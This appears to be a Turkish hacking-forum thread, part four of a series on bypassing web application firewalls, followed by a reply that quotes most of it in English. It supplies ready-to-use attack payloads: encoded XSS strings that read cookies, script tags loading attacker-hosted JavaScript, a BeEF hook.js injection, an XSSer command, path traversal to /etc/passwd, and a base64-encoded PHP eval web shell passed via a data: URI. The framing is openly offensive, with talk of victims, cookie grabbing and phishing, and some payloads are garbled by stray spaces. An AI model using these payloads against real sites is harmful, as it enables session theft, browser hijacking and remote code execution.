Neler yeni

Web Application Firewall(WAF)’ları Bypasslamak -4 (1 Viewer)

Z3DX 

Forum Efsanesi
onursal
pentester
Mesajlar
381
Credits
40
Web Application Firewall(WAF)’ları Bypasslamak -4

1 Ay kadar bir aranın ardından tekrardan merhaba, 3. Yazımla birlikte Waf Bypassing’i manuel şekilde yapmayı gösterdim,
ancak sadece SQL sorguları için değil, XSS açıkları için de yapmaya karar verdim. Şöyle bir haritalama yaparsak;

1. Kavramlar,
2. SQL Sorguları,
3. SQL Sorgularında Waf Bypassing
4. Xss Sorguları ve Bypass

Hızlı bir giriş yaparak hemen konuya geçiyorum. Bir sitemiz var ve adresi şu olsun “http://attackerssite.com/” Normalde bir site ancak sitenin ana dizininin altında zararlı yazılım bulunmakta uzantısı da şu olsun. “http://attackerssite.com/malicious.exe”;}</script> Kullanıcı bu linke tıkladığında kullanıcının bilgisayarına yürütülebilir zararli yazılım inecektir. Biraz daha derine inelim.

Stored XSS :
Yukarıdaki XSS yöntemi de depolanan XSS idi. Bu en çok ve en yaygın iki yöntemden Ethal ve kullanıcıların veritabanına kaydedilir girdi tedariği sağlayan web uygulamalarına oluyor ve kötü niyetli olabilir. Örneğin, yorumları kabul eden ve savunmasız bir forum, bir kullanıcının kötü niyetli yorumlarını kaydedebilir ve bu sayfayla etkileşime giren herkesi istismar edebilir. Gerçekleştirilebilecek diğer saldırılar şunlardır:

* Başka bir kullanıcının tarayıcısını ele geçirmek
* Uygulama kullanıcıları tarafından görüntülenen hassas bilgileri yakalama
* Dahili ana bilgisayarların bağlantı noktası taraması (web uygulamasının kullanıcılarıyla ilişkili olarak “dahili”)
* Tarayıcı tabanlı açıkların doğrudan teslimi

Reflected XSS’den farklı olarak, depolanan, kurbanın kötü amaçla oluşturulmuş URL’yi ziyaret etmesini sağlamak için bir bağlantıya ve kimlik avı yöntemlerine ihtiyaç duymaz. Kurban, istismar edilmiş savunmasız web sayfasını ziyaret ederse, kod kullanıcının tarayıcısı tarafından yürütülür. Elbette, bu tür saldırılar, genişletilmiş ayrıcalıklara, yöneticilere vb. Sahip kullanıcılar için gerçekten tehlikelidir, çünkü bunlar, hedeflenen ve bir web sitesinde ayrıcalıkların çoğuna sahip olan kullanıcılardır.

Stored XSS için test etme süreci, Reflected ile oldukça benzerdir, ancak web uygulamasındaki farklılıkları ve saldırının davranışını görmek için bir örnek inceleyelim. Bunu çoğunlukla, kodun nerede saklandığını ve sayfa bağlamında nerede bulunduğunu anlamamız gerektiği için yapacağız. Örneğin, bir web sitesi için yeni bir kullanıcı hesabı oluşturduğumuz bir sayfayı ele alalım. Orada, diğer tüm giriş alanlarına rağmen, doğrulama ve giriş nedenleriyle e-postamızı girdiğimiz bir alan var. Doğası gereği, bir e-posta alanının daha esnek olması gerekir, çünkü özel karakterler içerebilir ve büyük / küçük harfe duyarlı olabilir, bu nedenle bu tür alanların filtrelenmesi zordur.

Bu sayfanın kodunu incelerken aşağıdaki kod parçasını buluyoruz:
Gördüğümüz gibi, her alanın değer özelliği, web uygulamasına sağlayacağımız her şeyi içerecektir. Örneğin, ad alanına Yunus’u verirsek, bu kod parçası şöyle olacaktır:
Diyelim ki bu alanı test etmek ve kötü niyetli kod sağlamak istiyoruz, bunu nasıl yapabiliriz? Biz sadece HTML kodunun ihtiyaçlarına hizmet edecek bir dizge oluşturuyoruz. Örneğin:
Kod, çerezlerde saklanıyor ve bu web sitesinin bir kullanıcısı profilimizi her gördüğünde ona 123 diyen bir açılır pencere ile sunulacak. hesap, alanlarından birinde veya tümünde değişiklikleri kabul etmeyebileceğinden, istediğimiz dizeyi yalnızca bir deneyin. Bu senaryoda, doğru bir şekilde test etmek için muhtemelen birden çok hesap oluşturmamız gerekir, ancak bu, test sunucusunda sorunlara neden olabilir.
Alanın güvenlik açığından emin olduktan sonra, davranışını kontrol etmek için kötü amaçlı bir komut dosyası sağlamaya devam ediyoruz. Örneğin:

Yunus% 22% 3E% 3Cscript% 3Ealert (document.cookie)% 3C% 2Fscript% 3E

Burada, kullanıcının çerezini döndüren iyi bilinen bir dizimiz var, ancak sunucuda var olan WAF’ı atlamak için özel karakterleri URL olarak kodladık.
Günümüzde birçok tarayıcının güvenlik nedeniyle JavaScript’i devre dışı bıraktığını veya HTTP isteklerini (istemci tarafı kontrolleri) değiştirdiğini unutmayın. Bu nedenle, bir sayfada bir saldırı sunulabilir, ancak istemci tarafındaki kontroller nedeniyle başarılı olmayabilir. Aynı saldırı senaryosunu GET ve POST yöntemleriyle test etmek de önemlidir, çünkü yalnızca bir yöne duyarlı olabilir.



XSS’den yararlanmanın daha birçok yolu vardır; daha de derine inmek gerek, Yazımın devamında mevcut.

Önceki yazılarımda HPP ve HPF saldırılarını gördük ve bunlara SQL enjeksiyonu uyguladık. Ancak burada mantık aynıdır ve bir WAF’ı atlayabilmek için HPP veya HPF güvenlik açığından yararlanan bir XSS saldırısı gerçekleştirebiliriz. Örneğin, bu savunmasız URL’ye sahip olduğumuzu varsayalım:

http://page.com/index.php?id=”

Böyle bir durumda örnek bir xss saldırısı şöyledir;

“http: //page.com/index.php? id = <script> alert (“123”) </script>”

Ancak HPP’den yararlanmak, bize şunu döndürecektir;

“http: //page.com/index.php? id = <script & param => alert (“123”) </ & param = script>”

Bu kod da ise sadece üst pencerede info içinde 123 yazacaktır, ancak WAF Bypasslanmış olacaktır.

Şimdiye kadar, komut dosyalarımızda genellikle <script> etiketlerinde yazılan gerçekten küçük kod parçaları kullandığımızı gördük. Peki ya kurbanın tarayıcısında web sitesinin dışında barındırılan bir komut dosyası yürütmek istersek? Yine oldukça kolay ve savunmasız şekilde aşağıdakileri sağlayarak halledebiliriz:

Burada, bize etiketlerimize bir bağlantı ekleme yeteneği veren src özelliğini kullandığımızı görebilirsiniz. Bu betik yürütme de gizlidir, çünkü betik etiketlerinin içindeki alanı boş bıraktık. Gördüğünüz gibi, barındırılan komut dosyamız JavaScript’te yazılmıştır, çünkü bu genellikle bir tarayıcıda çalışan bir komut dosyası dilidir. Bu saldırı ile WAF baypasına ilişkin bazı örnekler şunlar olabilir:

<SCRIPT%20a=”>”%20SRC=”http://script-host/xssattack.js"></SCRIPT> <SCRIPT =”>” SRC=”http://script-host/xssattack.js"></SCRIPT> <scri<script src=”http://script-host/xssattack.js">pt src=”http://script-host/ xssattack.js”></script> Attack with Event Handlers

Biraz önce bahsettiğimiz bir diğer şey de olay işleyicileridir. Bir HTML websitesi, tarayıcının veya kullanıcının yaptığı bir şey olabilir, bu nedenle komut dosyamızda, meydana gelen olayları işleyebilmek için bu olay işleyicilerini kullanırız. Ayrıca JavaScript bu olaylara tepki verebilir. Bazı ilginç olaylar şunlar olabilir:

* onClick() — When someone clicks a form, link, etc. * onError() — When loading of a document or image causes an error * onFocus() — The string gets executed when the window gets focus * onLoad() — The string gets executed when the window is finished loading

Bunlar ve daha fazlası, kullanıcının veya tarayıcının çeşitli davranışlarından yararlanabilen ve bazı kısıtlamaları aşmamıza yardımcı olan kodlar internette bulunabilir. İyi bir örnek şu olabilir:

“ onfocus=”alert(document.cookie)

Bunu daha önce gördüğümüz gibi bir giriş alanına ekleyebiliriz ve pencere odaklanmaya başladığında çerez kapma işlemini tetikleyecektir. Ayrıca onError olayını veya herhangi bir olayı HTML niteliği olarak kullanabiliriz, örneğin:
Burada, img etiketindeki görüntünün yüklenmesinde sorun varsa olay tetiklenir ve bu olursa, çerez kapma gerçekleşir. Bu, durumla sınırlı bir senaryodur, ancak saldırgan, görüntüleri yüklemede sorun yaşayan ve XSS güvenlik açıkları olan bir sayfa bulmayı başarırsa, bu gerçekten başarıdır. Son olarak, Reflected XSS’de çoğunlukla kullanılan bir yol, şu şekilde kullanılabilen onmouseover olay işleyicisidir:
Burada, kullanıcı fareyi URL üzerinden her geçirdiğinde, çerez yakalayıcısını tetikleyen ve phishing saldırılarında, e-postalarda ve depolanan XSS senaryolarındaki yorumlarda kolayca kullanılabilen bir komut dosyamız var.

BeEF ve XSS Saldırıları, XSS, XSSer ile WAF Bypass

BeEF (Browser Exploitation Framework), web tarayıcılarına saldırmak ve XSS güvenlik açıklarını ve kurbanların tarayıcılarını kullanmak için bir çerçevedir. BeEF’in bir güvenlik açığı bulucu olmadığını ve BeEF’i kullanmaya devam etmek için XSS güvenlik açığını manuel olarak bulmamız gerektiğini unutmamalıyız. İlk adım, önceden yüklenmiş olarak gelen veya buradan bir Linux makinesine yüklenen Kali Linux’tan BeEF’i çalıştırmaktır: http://beefproject.com/. Bir tarayıcı penceresi, yerel ana bilgisayara ve BeEF’in çalıştığı 3000 numaralı bağlantı noktasına bakmaya başlayacaktır. Şimdi bir sonraki adım, kurbanın tarayıcısını aşağıdaki gibi bir şeyle XSS’ye saldırarak yapabileceğimiz BeEF’e bağlamaktır:

http://www.testsite.com/xss-test.php?id=<script src = ”http: // <IP>: 3000 / hook.js”></script>



Burada script etiketini bir Reflected XSS güvenlik açığında kullandığımızı görebilirsiniz. Ayrıca, IP’nin uzaktaki bir makinede çalışması için yönlendiricimizde port yönlendirmeyi kullanmamız gerektiğini unutmayın, ancak bu, bu serinin konularının kapsamında değil. Bir kurbanın tarayıcısına bağlandığımızda, bilgileri BeEF kontrolöründe bulabilir ve tarayıcıya saldırmaya çalışabiliriz. Bir sonraki adım, çok çeşitli otomatikleştirilmiş XSS sonrası saldırıların bulunabileceği komutlar sekmesine gitmektir.
 

Z3DX 

Forum Efsanesi
onursal
pentester
Mesajlar
381
Credits
40

XSSer ile XSS Saldırıları ve WAF Bypass

Siteler Arası Scripter — XSSer, XSS güvenlik açıklarının tespit ve istismar sürecini otomatikleştirebilen gerçekten güçlü bir araçtır. Kali Linux’ta önceden yüklenmiş olarak bulunabilir veya başka bir Linux makinesine indirmek ve kurmak için http://xsser.03c8.net/ burada bulunabilir .
Çalıştırmak için bir terminal açıp şöyle bir şey yazıyoruz:

xsser -u ‘http://vulnerable-website.com' -g ‘Search.asp? tfSearch =’ -Fuzz -s

Burada aşağıdaki seçenekleri kullandığımızı görebilirsiniz:

-u: Test etmek istediğimiz sitenin URL’si
-g: Kullanılacak HTTP Yöntemi (POST için GET veya -p veya Tarama için -C)


Bunlar, bu komut dosyasında yapabileceğimiz çok sayıda seçenek ve değişiklikten yalnızca birkaçı. Burada gerçekten basit bir örnek çalıştırıyoruz, ancak xsser -h yazarak XSSer yardım sayfasında mevcut tüm seçenekleri görebilirsiniz.



XSSer, bir WAF’ı atlayabilmek için birçok kodlama yöntemi kullanır, bu nedenle, hedefte bir XSS güvenlik açığı varsa, XSSer’ın otomatik bir WAF bypasser olduğunu söyleyebiliriz.
Dizinlerde oluşan güvenlik açıkları, bir saldırganın dosya sistemine veya webroot klasörünün dışında depolanan bir kısmına erişmesine olanak tanır. Çoğu zaman bu güvenlik açığından, dosyalara ../ dizileri veya bazı varyasyonları ile başvuran değişkenler işlenerek veya mutlak dosya yolları kullanılarak yararlanılır. Bununla, web barındırma sunucusunun dosya sisteminde depolanan dosyalara ve tüm dizinlere erişmek mümkün olabilir. Çoğu zaman dosyalar sistem erişim denetimleriyle sınırlıdır, ancak bu diğer türden saldırılara gider.

Bu açık yapısı gereği WAF’ler tarafından filtrelenir ve bu yüzden onları atlayabilmeliyiz. Olağan “nokta-nokta-eğik çizgi” ../ , önceki örneklerle aynı yöntemlerle atlanabilir. Örneğin:
Ancak küçük yapıları nedeniyle, WAF’ler tüm varyasyonlarını filtrelemede başarılıdır. Yani, bunu atlatmanın başka yollarını bulmalıyız. Bunu yapmak için, dizindeki dosyaları kökten bir seviye yukarı okumak istediğimiz bir örnek görelim. Burada arka uçta çalışan kod şöyle olacaktır:

Bu parçayı yol geçişi ile kullanmak için şunları sağlayabiliriz: http://website.com/?file=filesystem/admins.db/./.[N]/./. http://website.com/?file=filesystem/admins.db..[N] ..

Bu? File = parametresi, dosya sistemiyle etkileşim kurmak için var olan PHP işlevlerinin iki özelliği nedeniyle savunmasızdır. Daha önceki bir modülde bahsettiğimiz birincisi, yol geçişinde kullandığımız / gibi garip sembollerin kaldırıldığı yol normalleştirmesidir ve ikincisi, daha düşük sürümlerde PHP sınırlarını atlayan yol kesmedir. PHP üzerinde 5.3. Başarıya ulaşmak için dosya adından sonra (dosya adından sonra 2050 /. Ekleyin) 4096 karakter eklememiz gerekiyor. Örneğin :

http: //website.com/? file = .. / .. / .. / index.php /. /. /. /. /. / …. [ 4096] /.

Bu kodun isteğinin nasıl olduğunu görmek için daha basit bir yol geçişi örneği <? İnclude (“./ files /”.
$ _GET [‘dosya’]); ?>,
aşağıdaki dizenin enjeksiyonundan sonra yapılacaktır:
/?file=/union%20select/../../../../../../../etc/passwd

Programla ilgili istek aşağıdaki gibi olacaktır. Zaafiyet i exploitlemeye devam ederken sunucuda komutlar çalıştırabiliriz. Elbette bu örnek işletim sistemine duyarlıdır ve doğru komutları yürütmek ve dosya sistemini doğru planlamak için öncelikle sunucunun temel aldığı işletim sistemini bilmemiz gerekir. Yol geçişinde gördüğümüz ilk örnek kodu kullanmak için aşağıdakileri enjekte ediyoruz:

/?file=data:, <? php eval ($_REQUEST[ cmd ]);?> & cmd = phpinfo ();

Windows makinelerini hedefleyen gerçekten basit bir örnektir, ancak WAF’tan filtrelenecek özel karakterlere sahip olduğu için bir WAF’ı geçmeyecektir. Bu dizgiyi sertleştirmek için, onu base64 ile kodlayalım ve şu hale gelecektir:

/?file= data:;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk 7ID8%2b &cmd= phpinfo ();

Şimdi, WAF’ımız base64 dizesini çözmediği için atlandı ve bu güvenlik açığı, sunucunun PHP yorumlayıcısının bir özelliğine dayanıyordu.
Şimdilik yazım bu kadar, Devamında konu LFI’ye kaydığı için kafa karışıklığı ve bulanıklık olmaması açısından burada keseceğim. 5. yazıda LFI üzerinde duracağız. Umarım Yazım Yararlı Olmuştur, İyi günler Dilerim. Esesn kalın.​
 

Steve.XSS

Legendary
majorrr
Mesajlar
268
Credits
67
Web Application Firewall(WAF)’ları Bypasslamak -4

1 Ay kadar bir aranın ardından tekrardan merhaba, 3. Yazımla birlikte Waf Bypassing’i manuel şekilde yapmayı gösterdim,
ancak sadece SQL sorguları için değil, XSS açıkları için de yapmaya karar verdim. Şöyle bir haritalama yaparsak;

1. Kavramlar,
2. SQL Sorguları,
3. SQL Sorgularında Waf Bypassing
4. Xss Sorguları ve Bypass

Hızlı bir giriş yaparak hemen konuya geçiyorum. Bir sitemiz var ve adresi şu olsun “http://attackerssite.com/” Normalde bir site ancak sitenin ana dizininin altında zararlı yazılım bulunmakta uzantısı da şu olsun. “http://attackerssite.com/malicious.exe”;}</script> Kullanıcı bu linke tıkladığında kullanıcının bilgisayarına yürütülebilir zararli yazılım inecektir. Biraz daha derine inelim.

Stored XSS :
Yukarıdaki XSS yöntemi de depolanan XSS idi. Bu en çok ve en yaygın iki yöntemden Ethal ve kullanıcıların veritabanına kaydedilir girdi tedariği sağlayan web uygulamalarına oluyor ve kötü niyetli olabilir. Örneğin, yorumları kabul eden ve savunmasız bir forum, bir kullanıcının kötü niyetli yorumlarını kaydedebilir ve bu sayfayla etkileşime giren herkesi istismar edebilir. Gerçekleştirilebilecek diğer saldırılar şunlardır:

* Başka bir kullanıcının tarayıcısını ele geçirmek
* Uygulama kullanıcıları tarafından görüntülenen hassas bilgileri yakalama
* Dahili ana bilgisayarların bağlantı noktası taraması (web uygulamasının kullanıcılarıyla ilişkili olarak “dahili”)
* Tarayıcı tabanlı açıkların doğrudan teslimi

Reflected XSS’den farklı olarak, depolanan, kurbanın kötü amaçla oluşturulmuş URL’yi ziyaret etmesini sağlamak için bir bağlantıya ve kimlik avı yöntemlerine ihtiyaç duymaz. Kurban, istismar edilmiş savunmasız web sayfasını ziyaret ederse, kod kullanıcının tarayıcısı tarafından yürütülür. Elbette, bu tür saldırılar, genişletilmiş ayrıcalıklara, yöneticilere vb. Sahip kullanıcılar için gerçekten tehlikelidir, çünkü bunlar, hedeflenen ve bir web sitesinde ayrıcalıkların çoğuna sahip olan kullanıcılardır.

Stored XSS için test etme süreci, Reflected ile oldukça benzerdir, ancak web uygulamasındaki farklılıkları ve saldırının davranışını görmek için bir örnek inceleyelim. Bunu çoğunlukla, kodun nerede saklandığını ve sayfa bağlamında nerede bulunduğunu anlamamız gerektiği için yapacağız. Örneğin, bir web sitesi için yeni bir kullanıcı hesabı oluşturduğumuz bir sayfayı ele alalım. Orada, diğer tüm giriş alanlarına rağmen, doğrulama ve giriş nedenleriyle e-postamızı girdiğimiz bir alan var. Doğası gereği, bir e-posta alanının daha esnek olması gerekir, çünkü özel karakterler içerebilir ve büyük / küçük harfe duyarlı olabilir, bu nedenle bu tür alanların filtrelenmesi zordur.

Bu sayfanın kodunu incelerken aşağıdaki kod parçasını buluyoruz:
Gördüğümüz gibi, her alanın değer özelliği, web uygulamasına sağlayacağımız her şeyi içerecektir. Örneğin, ad alanına Yunus’u verirsek, bu kod parçası şöyle olacaktır:
Diyelim ki bu alanı test etmek ve kötü niyetli kod sağlamak istiyoruz, bunu nasıl yapabiliriz? Biz sadece HTML kodunun ihtiyaçlarına hizmet edecek bir dizge oluşturuyoruz. Örneğin:
Kod, çerezlerde saklanıyor ve bu web sitesinin bir kullanıcısı profilimizi her gördüğünde ona 123 diyen bir açılır pencere ile sunulacak. hesap, alanlarından birinde veya tümünde değişiklikleri kabul etmeyebileceğinden, istediğimiz dizeyi yalnızca bir deneyin. Bu senaryoda, doğru bir şekilde test etmek için muhtemelen birden çok hesap oluşturmamız gerekir, ancak bu, test sunucusunda sorunlara neden olabilir.
Alanın güvenlik açığından emin olduktan sonra, davranışını kontrol etmek için kötü amaçlı bir komut dosyası sağlamaya devam ediyoruz. Örneğin:

Yunus% 22% 3E% 3Cscript% 3Ealert (document.cookie)% 3C% 2Fscript% 3E

Burada, kullanıcının çerezini döndüren iyi bilinen bir dizimiz var, ancak sunucuda var olan WAF’ı atlamak için özel karakterleri URL olarak kodladık.
Günümüzde birçok tarayıcının güvenlik nedeniyle JavaScript’i devre dışı bıraktığını veya HTTP isteklerini (istemci tarafı kontrolleri) değiştirdiğini unutmayın. Bu nedenle, bir sayfada bir saldırı sunulabilir, ancak istemci tarafındaki kontroller nedeniyle başarılı olmayabilir. Aynı saldırı senaryosunu GET ve POST yöntemleriyle test etmek de önemlidir, çünkü yalnızca bir yöne duyarlı olabilir.



XSS’den yararlanmanın daha birçok yolu vardır; daha de derine inmek gerek, Yazımın devamında mevcut.

Önceki yazılarımda HPP ve HPF saldırılarını gördük ve bunlara SQL enjeksiyonu uyguladık. Ancak burada mantık aynıdır ve bir WAF’ı atlayabilmek için HPP veya HPF güvenlik açığından yararlanan bir XSS saldırısı gerçekleştirebiliriz. Örneğin, bu savunmasız URL’ye sahip olduğumuzu varsayalım:

http://page.com/index.php?id=”

Böyle bir durumda örnek bir xss saldırısı şöyledir;

“http: //page.com/index.php? id = <script> alert (“123”) </script>”

Ancak HPP’den yararlanmak, bize şunu döndürecektir;

“http: //page.com/index.php? id = <script & param => alert (“123”) </ & param = script>”

Bu kod da ise sadece üst pencerede info içinde 123 yazacaktır, ancak WAF Bypasslanmış olacaktır.

Şimdiye kadar, komut dosyalarımızda genellikle <script> etiketlerinde yazılan gerçekten küçük kod parçaları kullandığımızı gördük. Peki ya kurbanın tarayıcısında web sitesinin dışında barındırılan bir komut dosyası yürütmek istersek? Yine oldukça kolay ve savunmasız şekilde aşağıdakileri sağlayarak halledebiliriz:

Burada, bize etiketlerimize bir bağlantı ekleme yeteneği veren src özelliğini kullandığımızı görebilirsiniz. Bu betik yürütme de gizlidir, çünkü betik etiketlerinin içindeki alanı boş bıraktık. Gördüğünüz gibi, barındırılan komut dosyamız JavaScript’te yazılmıştır, çünkü bu genellikle bir tarayıcıda çalışan bir komut dosyası dilidir. Bu saldırı ile WAF baypasına ilişkin bazı örnekler şunlar olabilir:

<SCRIPT%20a=”>”%20SRC=”http://script-host/xssattack.js"></SCRIPT> <SCRIPT =”>” SRC=”http://script-host/xssattack.js"></SCRIPT> <scri<script src=”http://script-host/xssattack.js">pt src=”http://script-host/ xssattack.js”></script> Attack with Event Handlers

Biraz önce bahsettiğimiz bir diğer şey de olay işleyicileridir. Bir HTML websitesi, tarayıcının veya kullanıcının yaptığı bir şey olabilir, bu nedenle komut dosyamızda, meydana gelen olayları işleyebilmek için bu olay işleyicilerini kullanırız. Ayrıca JavaScript bu olaylara tepki verebilir. Bazı ilginç olaylar şunlar olabilir:

* onClick () - When someone clicks a form, link, etc. * onError () - When loading of a document or image causes an error * onFocus () - The string gets executed when the window gets focus * onLoad () - The string gets executed when the window is finished loading

These and more can be found on the internet that can take advantage of the various behaviors of the user or the browser and help us bypass some restrictions. A good example would be:

"Onfocus =" alert (document.cookie)

We can add this to an input field as we saw earlier, and when the window starts focusing it will trigger the cookie grabbing process. We can also use the onError event or any event as HTML attribute, for example:
Here, if there is a problem loading the image in the img tag, the event will be triggered and if that happens, the cookie grabbing will occur. This is a case-limited scenario, but if the attacker manages to find a page that has trouble loading images and has XSS vulnerabilities, that's really a success. Finally, one way often used in Reflected XSS is the onmouseover event handler, which can be used as:
Here we have a script that triggers the cookie catcher every time the user passes the mouse over the URL and can be easily used in phishing attacks, emails and comments in stored XSS scenarios.

BeEF and XSS Attacks, XSS, WAF Bypass with XSSer

BeEF (Browser Exploitation Framework) is a framework for attacking web browsers and exploiting XSS vulnerabilities and victims' browsers. We must remember that BeEF is not a vulnerability finder and we need to find the XSS vulnerability manually in order to continue using BeEF. The first step is to run BeEF from Kali Linux, which comes preinstalled or installed on a Linux machine from here: http://beefproject.com/. A browser window will start looking at the local host and port 3000 where BeEF is running. Now the next step is to connect the victim's browser to BeEF, which we can do by attacking the XSS with something like:

http://www.testsite.com/xss-test.php?id= <script src = ”http: // <IP>: 3000 / hook.js”> </script>



Here you can see that we are using the script tag in a Reflected XSS vulnerability. Also note that we need to use port forwarding on our router for IP to work on a remote machine, but this is not covered by the topics of this series. When we connect to a victim's browser, we can find the information in the BeEF controller and try to attack the browser. The next step is to go to the commands tab where a wide variety of automated post-XSS attacks can be found.
[/ QUOTE]
Thanks boss, I have so much to learn here.
 

Bu konuyu görüntüleyen kullanıcılar